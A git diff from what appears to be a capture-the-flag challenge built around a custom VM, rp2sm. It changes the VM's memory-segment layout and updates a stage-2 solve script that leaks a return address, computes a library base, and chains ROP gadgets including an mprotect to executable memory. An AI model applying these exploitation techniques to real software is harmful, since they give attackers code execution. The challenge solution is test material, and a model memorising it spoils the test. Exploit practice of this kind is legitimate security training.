diff --git a/rp2sm/src/VMContext.cpp b/rp2sm/src/VMContext.cpp index e29dcef..9441cbd 100644 --- a/rp2sm/src/VMContext.cpp +++ b/rp2sm/src/VMContext.cpp @@ -66,6 +66,10 @@ struct PageSizeGetter { page_size(sysconf(_SC_PAGE_SIZE)) {} + size_t align_up(size_t l) const { + return (l + page_size - 1) / page_size * page_size; + } + constexpr operator size_t() const { return page_size; } }; const PageSizeGetter page_size{}; @@ -124,10 +128,20 @@ VMContext VMContext::create(void* _code_buf, std::size_t len) { VMContext ctx{}; Impl& impl = *ctx.impl; - impl.seg_rodata = SegmentInfo::mmap(header.sh_rodata.mem_size, PROT_READ | PROT_WRITE); - impl.seg_data = SegmentInfo::mmap(header.sh_data.mem_size, PROT_READ | PROT_WRITE); - memcpy(impl.seg_rodata.base, code_buf + header.sh_rodata.offset, header.sh_rodata.file_size); - memcpy(impl.seg_data.base, code_buf + header.sh_data.offset, header.sh_data.file_size); + { + impl.seg_rodata.len = page_size.align_up(header.sh_rodata.mem_size); + impl.seg_data.len = page_size.align_up(header.sh_data.mem_size); + + impl.data_arena = SegmentInfo::mmap((1ull << 32) + impl.seg_rodata.len, PROT_NONE); + impl.seg_rodata.base = reinterpret_cast(impl.data_arena.base) + (1ull << 31); + impl.seg_data.base = reinterpret_cast(impl.seg_rodata.base) + impl.seg_rodata.len; + + impl.seg_rodata.set_prot(PROT_READ | PROT_WRITE); + impl.seg_data.set_prot(PROT_READ | PROT_WRITE); + + memcpy(impl.seg_rodata.base, code_buf + header.sh_rodata.offset, header.sh_rodata.file_size); + memcpy(impl.seg_data.base, code_buf + header.sh_data.offset, header.sh_data.file_size); + } impl.seg_rodata.set_prot(PROT_READ); impl.c_st.functions.reset(header.n_functions); @@ -145,7 +159,7 @@ VMContext VMContext::create(void* _code_buf, std::size_t len) { auto& c_st = impl.c_st; c_st.seg_got = SegmentInfo{ - impl.arena_ptr, + impl.code_arena_ptr, page_size }; diff --git a/rp2sm/src/VMContext.hpp b/rp2sm/src/VMContext.hpp index bf11935..e97ab37 100644 --- a/rp2sm/src/VMContext.hpp +++ b/rp2sm/src/VMContext.hpp @@ -16,7 +16,8 @@ namespace rp2sm { struct VMContext::Impl { static constexpr size_t ARENA_SZ{1llu << 31}; - void* arena_ptr; + void* code_arena_ptr; + SegmentInfo data_arena{}; SegmentInfo seg_rodata{}; SegmentInfo seg_data{}; @@ -24,7 +25,7 @@ struct VMContext::Impl { CompilerState c_st{}; explicit Impl() : - arena_ptr( + code_arena_ptr( mmap(nullptr, ARENA_SZ, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, @@ -34,9 +35,8 @@ struct VMContext::Impl { {} ~Impl() { - munmap(arena_ptr, ARENA_SZ); - seg_rodata.unmap(); - seg_data.unmap(); + munmap(code_arena_ptr, ARENA_SZ); + data_arena.unmap(); } Impl(const Impl&) = delete; diff --git a/solve/stg2.rp2t b/solve/stg2.rp2t index e694a0f..a5c17f1 100644 --- a/solve/stg2.rp2t +++ b/solve/stg2.rp2t @@ -1,10 +1,10 @@ /* Gadgets: -0x233a: ret leak -0x2b21: leave; ret; -0x2b51: mprotect(_, _, PROT_READ | PROT_EXEC); (5*8 load) -0x2472: pop rdi; ret; -0x228f: pop rsi; ret; +0x234a: ret leak +0x2c11: leave; ret; +0x2c41: mprotect(_, _, PROT_READ | PROT_EXEC); (5*8 load) +0x2482: pop rdi; ret; +0x2293: pop rsi; ret; ASSUMING: all address arithmetic doesn't cross (1<<32) address boundary */ @@ -25,7 +25,7 @@ function entry(args: 2, ret: 1, locals: 6) { // ret leak hi local.set 4 // librp2sm base hi // ret leak lo - li 0x233a + li 0x234a sub local.set 5 // librp2sm base lo @@ -41,15 +41,15 @@ function entry(args: 2, ret: 1, locals: 6) { local.get 5 // librp2sm base lo dup; dup - li 0x2b51 // mprotect + li 0x2c41 // mprotect add li mprot_lo mem.sw - li 0x2472 // pop rdi + li 0x2482 // pop rdi add li poprdi_lo mem.sw - li 0x228f // pop rsi + li 0x2293 // pop rsi add li poprsi_lo mem.sw @@ -76,7 +76,7 @@ function entry(args: 2, ret: 1, locals: 6) { drop // remove spacer local.get 5 // librp2sm base lo - li 0x2b21 + li 0x2c11 add call writer1 // ret addr lo local.get 4 // librp2sm base hi